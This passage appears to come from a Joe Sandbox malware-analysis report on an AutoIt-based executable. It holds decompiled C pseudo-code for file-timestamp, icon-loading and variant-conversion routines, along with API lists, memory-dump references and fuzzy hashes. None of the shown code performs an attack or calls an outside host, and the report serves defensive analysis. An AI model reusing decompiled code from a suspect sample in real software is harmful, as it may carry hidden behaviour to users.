                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll$FileModuleName$__wcsicmp_l_wcscpy_wcslen
                                                                                                                                                                            • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe$CMDLINE$CMDLINERAW$HH
                                                                                                                                                                            • API String ID: 961030850-297905034
                                                                                                                                                                            • Opcode ID: f04489e0e33d0e949ec94a54310b397213e0910f1f3c2f04c6a4dd41969d7ccc
                                                                                                                                                                            • Instruction ID: c9d3c3b6fe5feff8818da943e354889f8ac14309cfa4db165b48fafa4d4d28ea
                                                                                                                                                                            • Opcode Fuzzy Hash: f04489e0e33d0e949ec94a54310b397213e0910f1f3c2f04c6a4dd41969d7ccc
                                                                                                                                                                            • Instruction Fuzzy Hash: 3771B9715083069BC610FF51DC42A5F7BA49F91388F44083FB941671E2EBB8A94DCBDA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045DE12 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 190timeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0045DE12(intOrPtr __ecx, intOrPtr _a4, intOrPtr* _a8) {
				char _v528;
				char _v1048;
				short _v1576;
				short _v2100;
				short _v2104;
				short _v2112;
				char _v2632;
				short _v3148;
				struct _SYSTEMTIME _v3164;
				intOrPtr _v3168;
				struct _FILETIME _v3176;
				char _v3180;
				intOrPtr _v3184;
				char _v3188;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t76;
				int _t79;
				int _t82;
				int _t87;
				void* _t94;
				void* _t95;
				short* _t101;
				intOrPtr _t134;
				intOrPtr _t139;
				intOrPtr* _t141;
				intOrPtr* _t144;
				void* _t146;
				signed int _t147;
				void* _t149;

				_t105 = __ecx;
				_t149 = (_t147 & 0xfffffff8) - 0xc6c;
				_t139 = _a4;
				_t134 =  *((intOrPtr*)(_t139 + 8));
				_v3168 = __ecx;
				_t101 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 4)));
				_v3188 = 0;
				if(_t134 >= 3) {
					_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8));
					if(E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8))) >= 0) {
						_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8));
						if(E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8))) <= 2) {
							_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8));
							_v3184 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 8)));
						}
					}
				}
				if(_t134 < 4) {
					L6:
					_v3180 = 0;
				} else {
					_t105 =  *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 0xc));
					_t95 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4)) + 0xc)));
					_v3180 = 1;
					if(_t95 != 1) {
						goto L6;
					}
				}
				if( *_t101 == 0) {
					GetLocalTime( &_v3164);
					L11:
					SystemTimeToFileTime( &_v3164,  &_v3176);
					LocalFileTimeToFileTime( &_v3176,  &_v3176);
					E0041326A( &_v2632, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t139 + 4))))), 0x104);
					_v2112 = 0;
					E00410110( &_v2632, __eflags);
					E0040FFB0( &_v2632, _t101,  *((intOrPtr*)(_t139 + 4)), _t146);
					E00413DB0( &_v2632,  &_v1576,  &_v1048,  &(_v3164.wSecond),  &_v528);
					E00411663( &_v1576,  &_v1048);
					E00411663( &(_v3164.wSecond),  &_v528);
					GetCurrentDirectoryW(0x104,  &_v2104);
					_t134 =  *0x482330;
					_t76 = SetCurrentDirectoryW( &_v1576);
					__eflags = _t76;
					if(_t76 == 0) {
						goto L9;
					} else {
						_t79 = E00436AC4( &_v3148);
						__eflags = _t79;
						if(_t79 == 0) {
							L18:
							_t82 = E00442E1F(_v3168,  &_v3148,  &_v3176, _v3184, _v3180);
							__eflags = _t82;
							if(_t82 == 0) {
								_t144 = _a8;
								E004092C0(_t134, _t144);
								 *((intOrPtr*)(_t144 + 8)) = 1;
								 *_t144 = 0;
							}
							SetCurrentDirectoryW( &_v2100);
							__eflags = 0;
							return 0;
						} else {
							_t87 = E00436D2D( &_v3148,  &_v3176, _v3184);
							__eflags = _t87;
							if(_t87 != 0) {
								__eflags = _v3180;
								if(_v3180 != 0) {
									SetCurrentDirectoryW( &_v3148);
									E00411691( &_v3148, L"*.*");
									goto L18;
								} else {
									SetCurrentDirectoryW( &_v2100);
									__eflags = 0;
									return 0;
								}
							} else {
								SetCurrentDirectoryW( &_v2100);
								goto L9;
							}
						}
					}
				} else {
					_t94 = E00435A35(_t105, _t101,  &_v3164, 1, 0);
					_t149 = _t149 + 0x10;
					if(_t94 != 0) {
						goto L11;
					} else {
						L9:
						_t141 = _a8;
						E004092C0(_t134, _t141);
						 *((intOrPtr*)(_t141 + 8)) = 1;
						 *_t141 = 0;
						return 0;
					}
				}
			}



































                                                                                                                                                                            0x0045de12
                                                                                                                                                                            0x0045de18
                                                                                                                                                                            0x0045de20
                                                                                                                                                                            0x0045de2a
                                                                                                                                                                            0x0045de2e
                                                                                                                                                                            0x0045de37
                                                                                                                                                                            0x0045de39
                                                                                                                                                                            0x0045de44
                                                                                                                                                                            0x0045de49
                                                                                                                                                                            0x0045de53
                                                                                                                                                                            0x0045de58
                                                                                                                                                                            0x0045de63
                                                                                                                                                                            0x0045de68
                                                                                                                                                                            0x0045de70
                                                                                                                                                                            0x0045de70
                                                                                                                                                                            0x0045de63
                                                                                                                                                                            0x0045de53
                                                                                                                                                                            0x0045de77
                                                                                                                                                                            0x0045de8e
                                                                                                                                                                            0x0045de8e
                                                                                                                                                                            0x0045de79
                                                                                                                                                                            0x0045de7c
                                                                                                                                                                            0x0045de7f
                                                                                                                                                                            0x0045de84
                                                                                                                                                                            0x0045de8c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045de8c
                                                                                                                                                                            0x0045de97
                                                                                                                                                                            0x0045ded4
                                                                                                                                                                            0x0045deda
                                                                                                                                                                            0x0045dee4
                                                                                                                                                                            0x0045def0
                                                                                                                                                                            0x0045df0f
                                                                                                                                                                            0x0045df20
                                                                                                                                                                            0x0045df28
                                                                                                                                                                            0x0045df31
                                                                                                                                                                            0x0045df54
                                                                                                                                                                            0x0045df6c
                                                                                                                                                                            0x0045df7e
                                                                                                                                                                            0x0045df93
                                                                                                                                                                            0x0045df99
                                                                                                                                                                            0x0045dfa7
                                                                                                                                                                            0x0045dfa9
                                                                                                                                                                            0x0045dfab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045dfb1
                                                                                                                                                                            0x0045dfb6
                                                                                                                                                                            0x0045dfbe
                                                                                                                                                                            0x0045dfc0
                                                                                                                                                                            0x0045e021
                                                                                                                                                                            0x0045e039
                                                                                                                                                                            0x0045e03e
                                                                                                                                                                            0x0045e040
                                                                                                                                                                            0x0045e042
                                                                                                                                                                            0x0045e045
                                                                                                                                                                            0x0045e04a
                                                                                                                                                                            0x0045e051
                                                                                                                                                                            0x0045e051
                                                                                                                                                                            0x0045e05f
                                                                                                                                                                            0x0045e063
                                                                                                                                                                            0x0045e069
                                                                                                                                                                            0x0045dfc2
                                                                                                                                                                            0x0045dfd1
                                                                                                                                                                            0x0045dfd9
                                                                                                                                                                            0x0045dfdb
                                                                                                                                                                            0x0045dfec
                                                                                                                                                                            0x0045dff1
                                                                                                                                                                            0x0045e00d
                                                                                                                                                                            0x0045e019
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045dff3
                                                                                                                                                                            0x0045dffb
                                                                                                                                                                            0x0045dffd
                                                                                                                                                                            0x0045e005
                                                                                                                                                                            0x0045e005
                                                                                                                                                                            0x0045dfdd
                                                                                                                                                                            0x0045dfe5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045dfe5
                                                                                                                                                                            0x0045dfdb
                                                                                                                                                                            0x0045dfc0
                                                                                                                                                                            0x0045de99
                                                                                                                                                                            0x0045dea3
                                                                                                                                                                            0x0045dea8
                                                                                                                                                                            0x0045dead
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045deaf
                                                                                                                                                                            0x0045deaf
                                                                                                                                                                            0x0045deaf
                                                                                                                                                                            0x0045deb2
                                                                                                                                                                            0x0045deb7
                                                                                                                                                                            0x0045debe
                                                                                                                                                                            0x0045decc
                                                                                                                                                                            0x0045decc
                                                                                                                                                                            0x0045dead

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetLocalTime.KERNEL32(?), ref: 0045DED4
                                                                                                                                                                            • SystemTimeToFileTime.KERNEL32(?,?), ref: 0045DEE4
                                                                                                                                                                            • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0045DEF0
                                                                                                                                                                            • _wcsncpy.LIBCMT ref: 0045DF0F
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 0045DF54
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0045DF6C
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0045DF7E
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0045DF93
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFA7
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFE5
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFFB
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0045E00D
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 0045E019
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0045E05F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentDirectory$Time$File$Local_wcscat$System__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 3201719729-438819550
                                                                                                                                                                            • Opcode ID: 138f0a6ba4266c13c949904e73f279582c256440b9ecd5b366a120f820ad9124
                                                                                                                                                                            • Instruction ID: 9ef8ac46b2ec3f8a2b66e183c5d6435db2730cdd54c1860218fefef83dfd89d7
                                                                                                                                                                            • Opcode Fuzzy Hash: 138f0a6ba4266c13c949904e73f279582c256440b9ecd5b366a120f820ad9124
                                                                                                                                                                            • Instruction Fuzzy Hash: D061A7B25043049BC724EF65C881E9FB3E8AF94704F048E1EF98987241DB79E949CB96
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043737D(void* __edx, intOrPtr _a4, int _a8, short* _a12, long _a16) {
				intOrPtr _v4;
				long _t9;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				char* _t25;
				short* _t26;

				_t26 = _a12;
				_t9 = 0;
				_t25 = _a16;
				 *_t25 = 0;
				_a16 = 0;
				if( *_t26 == 0) {
					L13:
					return _t9;
				} else {
					if(E004115D0(__edx, _t26, L"blank") != 0) {
						_t11 = E004115D0(__edx, _t26, L"info");
						if(_t11 == 0) {
							return LoadIconW(_t11, 0x7f04);
						}
						_t12 = E004115D0(__edx, _t26, L"question");
						if(_t12 != 0) {
							_t13 = E004115D0(__edx, _t26, L"stop");
							if(_t13 != 0) {
								_t14 = E004115D0(__edx, _t26, L"warning");
								if(_t14 != 0) {
									ExtractIconExW(_t26, _a8, 0,  &_a16, 1);
									_t9 = _v4;
									if(_t9 == 0) {
										goto L13;
									} else {
										 *_t25 = 1;
										return _t9;
									}
								} else {
									return LoadIconW(_t14, 0x7f03);
								}
							} else {
								return LoadIconW(_t13, 0x7f01);
							}
						} else {
							return LoadIconW(_t12, 0x7f02);
						}
					} else {
						return  *((intOrPtr*)(_a4 + 0x1a0));
					}
				}
			}











                                                                                                                                                                            0x0043737e
                                                                                                                                                                            0x00437382
                                                                                                                                                                            0x00437385
                                                                                                                                                                            0x00437389
                                                                                                                                                                            0x0043738b
                                                                                                                                                                            0x00437392
                                                                                                                                                                            0x0043746f
                                                                                                                                                                            0x0043746f
                                                                                                                                                                            0x00437398
                                                                                                                                                                            0x004373a8
                                                                                                                                                                            0x00437451
                                                                                                                                                                            0x0043745b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437467
                                                                                                                                                                            0x004373c3
                                                                                                                                                                            0x004373cd
                                                                                                                                                                            0x004373e6
                                                                                                                                                                            0x004373f0
                                                                                                                                                                            0x00437409
                                                                                                                                                                            0x00437413
                                                                                                                                                                            0x00437435
                                                                                                                                                                            0x0043743b
                                                                                                                                                                            0x00437441
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437443
                                                                                                                                                                            0x00437443
                                                                                                                                                                            0x00437448
                                                                                                                                                                            0x00437448
                                                                                                                                                                            0x00437415
                                                                                                                                                                            0x00437423
                                                                                                                                                                            0x00437423
                                                                                                                                                                            0x004373f2
                                                                                                                                                                            0x00437400
                                                                                                                                                                            0x00437400
                                                                                                                                                                            0x004373cf
                                                                                                                                                                            0x004373dd
                                                                                                                                                                            0x004373dd
                                                                                                                                                                            0x004373ae
                                                                                                                                                                            0x004373ba
                                                                                                                                                                            0x004373ba
                                                                                                                                                                            0x004373a8

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll$IconLoad
                                                                                                                                                                            • String ID: blank$info$question$stop$warning
                                                                                                                                                                            • API String ID: 2485277191-404129466
                                                                                                                                                                            • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                            • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                                            • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                            • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00476A8A Relevance: 25.8, APIs: 17, Instructions: 332COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 22%
                                                                                                                                                                            			E00476A8A(void* __fp0) {
				signed int _t76;
				short* _t84;
				intOrPtr _t85;
				void* _t86;

				_t84 =  *((intOrPtr*)(_t86 + 0x4c));
				if(_t84 == 0) {
					L27:
					return 1;
				} else {
					 *0x482434(_t84);
					_t85 =  *((intOrPtr*)(_t86 + 0x48));
					if(_t85 != 0) {
						_t76 =  *((intOrPtr*)(_t85 + 8)) - 1;
						if(_t76 > 0xa) {
							goto L27;
						} else {
							switch( *((intOrPtr*)(_t76 * 4 +  &M00476E26))) {
								case 0:
									__eax = 3;
									__ecx = __esi;
									 *__edi = __ax;
									 *(__edi + 8) = E0040C760(__esi);
									__eax = 0;
									return 0;
									goto L41;
								case 1:
									__edx = 5;
									__ecx = __esi;
									 *__edi = __dx;
									__eax = E0040BE90(__esi);
									 *(__edi + 8) = __fp0;
									__eax = 0;
									return 0;
									goto L41;
								case 2:
									__ecx = 5;
									 *__edi = __cx;
									__ecx = __esi;
									__eax = E0040BE90(__esi);
									 *(__edi + 8) = __fp0;
									__eax = 0;
									return 0;
									goto L41;
								case 3:
									__ecx = __esp + 0x14;
									__eax = 8;
									 *__edi = __ax;
									__eax = E00453081(__esi);
									if(__eax < 0) {
										goto L27;
									} else {
										__esi =  *(__esp + 0x14);
										_push(__esi);
										__eax =  *0x482410();
										_push(__esi);
										 *(__edi + 8) = __eax;
										 *0x48280c() = 0;
										return 0;
									}
									goto L41;
								case 4:
									__eax = E004354DD(__esi, 0);
									__edx = __esp + 0x4c;
									_push(__esp + 0x4c);
									__ebp = __eax;
									_push(__ebp);
									_push(0xc);
									if( *0x48240c() < 0) {
										goto L27;
									} else {
										__edx = 0;
										if(__ebp > 0) {
											do {
												__eax =  *(__esp + 0x4c);
												 *( *(__esp + 0x4c) + 0x14 + __edx * 8) = __ebx;
												_t19 = __edx + 1; // 0x1
												__ebx = _t19;
												__eax = E004354DD(__esi, __ebx);
												__ecx =  *(__esp + 0x4c);
												 *( *(__esp + 0x4c) + 0x10 + __edx * 8) = __eax;
												__edx = __ebx;
												__ebx = 0;
											} while (__edx < __ebp);
										}
										__eax =  *(__esp + 0x4c);
										__edx = 0x880;
										 *((short*)( *(__esp + 0x4c) + 2)) = __dx;
										__ecx =  *(__esp + 0x4c);
										 *((intOrPtr*)( *(__esp + 0x4c) + 4)) = 0x10;
										__edx =  *(__esp + 0x4c);
										_push( *(__esp + 0x4c));
										if( *0x482408() < __ebx) {
											L26:
											__edx =  *(__esp + 0x4c);
											_push( *(__esp + 0x4c));
											__eax =  *0x482438();
											goto L27;
										} else {
											__ecx =  *(__esp + 0x4c);
											__eax = __esp + 0x18;
											_push(__esp + 0x18);
											_push(__ecx);
											__eax =  *0x482420();
											__edx = __esp + 0x14;
											__ebx = __eax;
											__eax = E0047692C(__esi, __esp + 0x14);
											 *(__esp + 0x1c) = __eax;
											if(__ebx < 0) {
												L25:
												__ecx =  *(__esp + 0x4c);
												_push( *(__esp + 0x4c));
												__eax =  *0x48241c();
												if(__ebx >= 0) {
													goto L28;
												} else {
													goto L26;
												}
											} else {
												__esi = 0;
												if(__eax > 0) {
													__ebp = 0;
													do {
														__eax = __esp + 0x30;
														_push(__esp + 0x30);
														__eax =  *0x482434();
														__eax =  *(__esp + 0x14);
														if( *(__eax + __esi * 4) == 0) {
															goto L21;
														} else {
															__edx =  *(__eax + __esi * 4);
															__ecx = __esp + 0x30;
															_push(__esp + 0x30);
															_push( *(__eax + __esi * 4));
															__eax = E00476A8A(__fp0);
															__esp = __esp + 8;
															if(__eax != 0) {
																__ebx = 0x8000ffff;
															} else {
																goto L21;
															}
														}
														goto L24;
														L21:
														__ecx =  *(__esp + 0x18);
														__eax = __esp + 0x30;
														_push(__esp + 0x30);
														__edx = __ecx + __ebp;
														_push(__ecx + __ebp);
														__eax =  *0x482430();
														__esi = __esi + 1;
														__ebp = __ebp + 0x10;
														__ebx = __eax;
													} while (__esi <  *(__esp + 0x1c));
												}
												L24:
												__eax =  *(__esp + 0x4c);
												_push( *(__esp + 0x4c));
												__eax =  *0x482444();
												if(__ebx >= 0) {
													L28:
													__ecx =  *(__esp + 0x4c);
													__eax = 0x200c;
													 *__edi = __ax;
													 *(__edi + 8) =  *(__esp + 0x4c);
													__eax = 0;
													return 0;
												} else {
													goto L25;
												}
											}
										}
									}
									goto L41;
								case 5:
									L31:
									_push(__edi);
									_push(E004355FD(__esi));
									__eax = E00476A8A(__fp0);
									__esp = __esp + 8;
									return __eax;
									goto L41;
								case 6:
									goto L27;
								case 7:
									__esi =  *__esi;
									if(__esi == 0) {
										goto L38;
									} else {
										_push(__esi);
										_push(__edi);
										 *0x482430() = 0;
										return 0;
									}
									goto L41;
								case 8:
									 *_t84 = 0xb;
									 *(_t84 + 8) = E004434CC(_t85) & 0x000000ff;
									return 0;
									goto L41;
								case 9:
									__eax = E0044ADFF(__esi);
									if(__al == 0) {
										goto L31;
									} else {
										__esi = __esp + 0x20;
										 *(__esp + 0x20) = 0;
										 *((intOrPtr*)(__esp + 0x28)) = 1;
										 *((intOrPtr*)(__esp + 0x2c)) = 0;
										__eax = E004092C0(__edi, __esi);
										_push(__edi);
										_push(__esi);
										 *(__esp + 0x30) = 6;
										 *((intOrPtr*)(__esp + 0x28)) = 0;
										__eax = E00476A8A(__fp0);
										__esp = __esp + 8;
										__edi = __eax;
										E004092C0(__edi, __esi) = __edi;
										return __edi;
									}
									goto L41;
								case 0xa:
									__eax = __esp + 0x4c;
									_push(__esp + 0x4c);
									_push(1);
									_push(0x11);
									if( *0x48240c() < 0) {
										goto L27;
									} else {
										__ecx =  *(__esp + 0x4c);
										 *((intOrPtr*)( *(__esp + 0x4c) + 0x14)) = 0;
										__eax = E00443676(__esi);
										__edx =  *(__esp + 0x4c);
										 *( *(__esp + 0x4c) + 0x10) = __eax;
										__ecx =  *(__esp + 0x4c);
										__eax = 0x80;
										 *((short*)( *(__esp + 0x4c) + 2)) = __ax;
										__edx =  *(__esp + 0x4c);
										 *((intOrPtr*)( *(__esp + 0x4c) + 4)) = 1;
										__eax =  *(__esp + 0x4c);
										_push( *(__esp + 0x4c));
										if( *0x482408() < 0) {
											L40:
											__eax =  *(__esp + 0x4c);
											_push( *(__esp + 0x4c));
											 *0x482438() = 1;
											return 1;
										} else {
											__edx =  *(__esp + 0x4c);
											__ecx = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__edx);
											if( *0x482420() < 0) {
												__edx =  *(__esp + 0x4c);
												_push( *(__esp + 0x4c));
												__eax =  *0x48241c();
												goto L40;
											} else {
												_push(E00443676(__esi));
												__eax = E004676A3(__esi);
												__esp = __esp + 4;
												 *((intOrPtr*)(__esp + 0x24)) = E00410F70(__ebx, __edi, __esi,  *((intOrPtr*)(__esp + 0x24)),  *((intOrPtr*)(__esp + 0x24)), __ecx);
												__ecx =  *(__esp + 0x58);
												_push( *(__esp + 0x58));
												__eax =  *0x482444();
												__edx =  *(__esp + 0x4c);
												__ecx = 0x2011;
												 *__edi = __cx;
												 *(__edi + 8) =  *(__esp + 0x4c);
												L38:
												__eax = 0;
												return 0;
											}
										}
									}
									goto L41;
							}
						}
					} else {
						 *_t84 = 0xa;
						 *(_t84 + 8) = 0x80020004;
						return 0;
					}
				}
				L41:
			}







                                                                                                                                                                            0x00476a91
                                                                                                                                                                            0x00476a99
                                                                                                                                                                            0x00476cb3
                                                                                                                                                                            0x00476cbf
                                                                                                                                                                            0x00476a9f
                                                                                                                                                                            0x00476aa0
                                                                                                                                                                            0x00476aa6
                                                                                                                                                                            0x00476aac
                                                                                                                                                                            0x00476aca
                                                                                                                                                                            0x00476ace
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476ad4
                                                                                                                                                                            0x00476ad4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476afb
                                                                                                                                                                            0x00476b00
                                                                                                                                                                            0x00476b02
                                                                                                                                                                            0x00476b0a
                                                                                                                                                                            0x00476b0d
                                                                                                                                                                            0x00476b16
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476b33
                                                                                                                                                                            0x00476b38
                                                                                                                                                                            0x00476b3a
                                                                                                                                                                            0x00476b3d
                                                                                                                                                                            0x00476b42
                                                                                                                                                                            0x00476b45
                                                                                                                                                                            0x00476b4e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476b17
                                                                                                                                                                            0x00476b1c
                                                                                                                                                                            0x00476b1f
                                                                                                                                                                            0x00476b21
                                                                                                                                                                            0x00476b26
                                                                                                                                                                            0x00476b29
                                                                                                                                                                            0x00476b32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476b4f
                                                                                                                                                                            0x00476b54
                                                                                                                                                                            0x00476b5a
                                                                                                                                                                            0x00476b5d
                                                                                                                                                                            0x00476b6a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476b70
                                                                                                                                                                            0x00476b70
                                                                                                                                                                            0x00476b74
                                                                                                                                                                            0x00476b75
                                                                                                                                                                            0x00476b7b
                                                                                                                                                                            0x00476b7c
                                                                                                                                                                            0x00476b85
                                                                                                                                                                            0x00476b8e
                                                                                                                                                                            0x00476b8e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476b91
                                                                                                                                                                            0x00476b96
                                                                                                                                                                            0x00476b9a
                                                                                                                                                                            0x00476b9b
                                                                                                                                                                            0x00476b9d
                                                                                                                                                                            0x00476b9e
                                                                                                                                                                            0x00476ba8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476bae
                                                                                                                                                                            0x00476bae
                                                                                                                                                                            0x00476bb2
                                                                                                                                                                            0x00476bba
                                                                                                                                                                            0x00476bba
                                                                                                                                                                            0x00476bbe
                                                                                                                                                                            0x00476bc2
                                                                                                                                                                            0x00476bc2
                                                                                                                                                                            0x00476bc7
                                                                                                                                                                            0x00476bcc
                                                                                                                                                                            0x00476bd0
                                                                                                                                                                            0x00476bd4
                                                                                                                                                                            0x00476bd6
                                                                                                                                                                            0x00476bd8
                                                                                                                                                                            0x00476bba
                                                                                                                                                                            0x00476bdc
                                                                                                                                                                            0x00476be0
                                                                                                                                                                            0x00476be5
                                                                                                                                                                            0x00476be9
                                                                                                                                                                            0x00476bed
                                                                                                                                                                            0x00476bf4
                                                                                                                                                                            0x00476bf8
                                                                                                                                                                            0x00476c01
                                                                                                                                                                            0x00476ca8
                                                                                                                                                                            0x00476ca8
                                                                                                                                                                            0x00476cac
                                                                                                                                                                            0x00476cad
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c07
                                                                                                                                                                            0x00476c07
                                                                                                                                                                            0x00476c0b
                                                                                                                                                                            0x00476c0f
                                                                                                                                                                            0x00476c10
                                                                                                                                                                            0x00476c11
                                                                                                                                                                            0x00476c17
                                                                                                                                                                            0x00476c1d
                                                                                                                                                                            0x00476c1f
                                                                                                                                                                            0x00476c24
                                                                                                                                                                            0x00476c2a
                                                                                                                                                                            0x00476c99
                                                                                                                                                                            0x00476c99
                                                                                                                                                                            0x00476c9d
                                                                                                                                                                            0x00476c9e
                                                                                                                                                                            0x00476ca6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c2c
                                                                                                                                                                            0x00476c2c
                                                                                                                                                                            0x00476c30
                                                                                                                                                                            0x00476c32
                                                                                                                                                                            0x00476c3a
                                                                                                                                                                            0x00476c3a
                                                                                                                                                                            0x00476c3e
                                                                                                                                                                            0x00476c3f
                                                                                                                                                                            0x00476c45
                                                                                                                                                                            0x00476c4d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c4f
                                                                                                                                                                            0x00476c4f
                                                                                                                                                                            0x00476c52
                                                                                                                                                                            0x00476c56
                                                                                                                                                                            0x00476c57
                                                                                                                                                                            0x00476c58
                                                                                                                                                                            0x00476c5d
                                                                                                                                                                            0x00476c62
                                                                                                                                                                            0x00476c85
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c62
